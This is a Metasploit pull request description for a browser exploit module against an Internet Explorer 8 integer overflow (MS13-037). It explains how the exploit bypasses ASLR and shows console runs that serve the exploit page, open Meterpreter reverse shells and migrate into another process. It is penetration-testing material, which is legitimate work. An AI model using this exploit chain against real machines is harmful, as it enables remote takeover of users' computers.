rapid7/metasploit-framework — pull request #1945 by jvazquez-r7 (2013-06-12 12:40:06+00:00)
Title: Add module for MS13-037 CVE-2013-2551

This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a fresh Windows 7 SP1 installation).

* Targets:

```
msf exploit(ms13_037_svg_dashstyle_runtime) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 IE 8 on Windows 7 SP1 with JRE ROP
2 IE 8 on Windows 7 SP1 with ntdll.dll Info Leak

```

* ntdll info leak:

```
msf exploit(ms13_037_svg_dashstyle_runtime) > show options

Module options (exploit/windows/browser/ms13_037_svg_dashstyle_runtime):

Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

Exploit target:

Id Name
-- ----
2 IE 8 on Windows 7 SP1 with ntdll.dll Info Leak

msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/q9P08myAd0Y
[*] Local IP: http://10.6.0.165:8080/q9P08myAd0Y
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/tLD3VP6rbhq
[*] Local IP: http://10.6.0.165:8080/tLD3VP6rbhq
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > [*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Requesting: /tLD3VP6rbhq
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Sending HTML to info leak...
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Requesting: /tLD3VP6rbhq/ShwfHPlJkn?EDQrV=1997566128
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Using ntdll ROP
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Sending HTML to trigger...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:49669) at 2013-06-12 07:33:06 -0500
[*] Session ID 1 (10.6.0.165:4444 -> 10.6.0.165:49669) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1336)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3320
[+] Successfully migrated to process

```

* JRE ROP

```
msf exploit(ms13_037_svg_dashstyle_runtime) > set target 0
target => 0
msf exploit(ms13_037_svg_dashstyle_runtime) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/G3zV5R
[*] Local IP: http://10.6.0.165:8080/G3zV5R
[*] Server started.
msf exploit(ms13_037_svg_dashstyle_runtime) > [*] 192.168.172.215 - Meterpreter session 1 closed. Reason: Died
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Requesting: /G3zV5R
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Target selected as: IE 8 on Windows 7 SP1 with JRE ROP
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Using JRE ROP
[*] 10.6.0.165 ms13_037_svg_dashstyle_runtime - Sending HTML to trigger...
[*] Sending stage (751104 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:49674) at 2013-06-12 07:34:29 -0500
[*] Session ID 2 (10.6.0.165:4444 -> 10.6.0.165:49674) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1844)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1656
[+] Successfully migrated to process

```